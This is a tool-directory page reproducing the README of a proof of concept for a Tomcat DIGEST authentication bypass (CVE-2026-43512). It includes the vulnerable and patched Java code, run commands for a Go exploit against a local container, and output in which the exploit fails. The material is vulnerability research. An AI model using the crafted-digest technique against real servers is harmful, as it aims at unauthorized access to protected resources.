Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-43512-poc — Exploitability PoC for CVE-2026-43512 (Apache Tomcat Digest Authentication Bypass) | Kitploit
Tools/GitHubGitHub/covepseng/cve-2026-43512-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingAuthenticationPapers & ResearchLearning & Education
GitHubcovepseng/cve-2026-43512-poc

cve-2026-43512-poc

Exploitability PoC for CVE-2026-43512 (Apache Tomcat Digest Authentication Bypass)

View Repository
1162 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-43512 — Apache Tomcat DIGEST Authentication Bypass

Exploitability analysis result: the root cause is confirmed. End-to-end exploitation is not reproducible against a standard UserDatabaseRealm deployment. See Analysis for details.


Table of Contents

  • Overview
  • Affected Versions
  • Root Cause
  • Analysis
  • Repository Structure
  • Requirements
  • Usage
  • Expected Output
  • References
  • Disclaimer

Overview

CVE-2026-43512 is a vulnerability in Apache Tomcat's HTTP DIGEST authentication mechanism. The method RealmBase.getDigest() does not validate the return value of getPassword(username) before constructing the A1 hash input. When a username does not exist in the configured Realm, returns , which Java's string concatenation operator silently converts to the four-character literal .

getPassword()
null
"null"

The server therefore computes:

root@kitploit:~
A1 = MD5("<username>:<realm>:null")

A client that submits a DIGEST response computed with the literal string "null" as the password produces an identical hash. According to the advisory, this constitutes an authentication bypass.

This repository contains a minimal reproducible environment and a Go-based proof of concept to verify that claim against a real Tomcat instance.


Affected Versions

Affected rangeFixed in
7.0.0 – 7.0.1097.0.110
8.5.0 – 8.5.1008.5.101
9.0.0.M1 – 9.0.1179.0.118
10.1.0.M1 – 10.1.5410.1.55
11.0.0.M1 – 11.0.2111.0.22

Root Cause

The vulnerable code path in RealmBase.java (all affected branches):

root@kitploit:~
// RealmBase.java — vulnerable
protected String getDigest(String username, String realmName, String algorithm) {
    if (hasMessageDigest(algorithm)) {
        return getPassword(username);  // returns null for unknown users
    }

    // null is concatenated as the literal "null" by Java
    String a1 = username + ":" + realmName + ":" + getPassword(username);
    return HexUtils.toHexString(
        ConcurrentMessageDigest.digest(algorithm, a1.getBytes(...))
    );
}

The fix (commit 6565a6c adds an explicit null guard:

root@kitploit:~
// RealmBase.java — patched
protected String getDigest(String username, String realmName, String algorithm) {
    String password = getPassword(username);
    if (password == null) {
        return null; 
    }
    ...
}

Analysis

Running the PoC against Tomcat 11.0.0-M1 with FINE-level logging enabled reveals the following:

root@kitploit:~
Digest:        2388e2c78407def640f37f092a8d3a84   ← client
Server digest: 2388e2c78407def640f37f092a8d3a84   ← server
Failed to authenticate user [ghost]

The digest hashes match. The bug in getDigest() is real and confirmed. However, authentication still fails because RealmBase.authenticate() has a second, independent check:

root@kitploit:~
// RealmBase.authenticate()
if (serverDigest.equals(clientDigest)) {
    return getPrincipal(username);  // returns null for non-existent users
}
return null;

In a standard UserDatabaseRealm backed by tomcat-users.xml, getPrincipal() performs a lookup against the in-memory user database. For a username that does not exist in that database, it returns null. The caller treats a null Principal as an authentication failure and issues a 401.


Repository Structure

root@kitploit:~
cve-2026-43512-poc/
├── Dockerfile                          # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml                    # Minimal Realm config — no user "ghost"
├── web.xml
├── exploit/
│   ├── exploit.go                      # PoC — Go, stdlib only
│   └── go.mod
└── README.md

Requirements

ToolVersionNotes
Podman≥ 4.0Docker works too
Go≥ 1.22Only for running the exploit locally

Usage

1. Build and start the container

root@kitploit:~
podman build -t tomcat-cve-2026-43512 .
podman run -d --name tomcat-vuln -p 8080:8080 tomcat-cve-2026-43512

Wait a few seconds for Tomcat to finish starting, then verify it is up:

root@kitploit:~
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401

2. Run the exploit

root@kitploit:~
cd exploit
go run exploit.go \
  -target   http://localhost:8080 \
  -path     /protected/secret.html \
  -username ghost

Available flags:

FlagDefaultDescription
-targethttp://localhost:8080Tomcat base URL
-path/protected/Path of the protected resource
-usernameghostUsername to use — must not exist in tomcat-users.xml

3. Enable verbose Tomcat logging (optional)

To observe the internal authentication state, add a logging.properties file and mount it:

root@kitploit:~
org.apache.catalina.authenticator.level = FINE
org.apache.catalina.realm.level = FINE
root@kitploit:~
podman run -d --name tomcat-vuln -p 8080:8080 \
  -v ./logging.properties:/usr/local/tomcat/conf/logging.properties:ro \
  tomcat-cve-2026-43512

The log will show the digest comparison result directly, confirming whether the hashes match.

4. Cleanup

root@kitploit:~
podman stop tomcat-vuln && podman rm tomcat-vuln

Expected Output

root@kitploit:~
============================================================
 CVE-2026-43512 — Tomcat DIGEST Auth Bypass PoC
============================================================
 Target   : http://localhost:8080/protected/secret.html
 Username : "ghost"  (must NOT exist in tomcat-users.xml)
 Password : "null"   (literal string)
------------------------------------------------------------
[1] Sending unauthenticated request to obtain DIGEST challenge...
[+] HTTP 401 received — DIGEST challenge:
    Digest realm="UserDatabase", qop="auth", nonce="...", opaque="..."

[*] realm="UserDatabase"  nonce="..."  qop="auth"  algorithm="MD5"

[2] Computing DIGEST response with password="null"...
    Digest username="ghost", realm="UserDatabase", ...

[3] Sending request with crafted DIGEST credentials...
------------------------------------------------------------
[✗] HTTP 401 — exploit failed.
    The UserDatabaseRealm provides a second line of defence:
    getPrincipal("ghost") returned null after the digest matched.
============================================================

References

ResourceLink
Apache Tomcat Security Advisoryhttps://tomcat.apache.org/security-9.html
Fix commithttps://github.com/apache/tomcat/commit/6565a6cb6499e56fe2f34457cec99f9d1c4f39e9
RealmBase.java (main)https://github.com/apache/tomcat/blob/main/java/org/apache/catalina/realm/RealmBase.java
RFC 2617 — HTTP Digest Authenticationhttps://datatracker.ietf.org/doc/html/rfc2617
Full analysis — blog posthttps://return-zero.dev/posts/cve-2026-43512

Disclaimer

This repository is intended for educational purposes and local exploitability analysis only. All testing was performed against a self-hosted container environment. Do not run this PoC against systems you do not own or have explicit written authorization to test.

Download Tool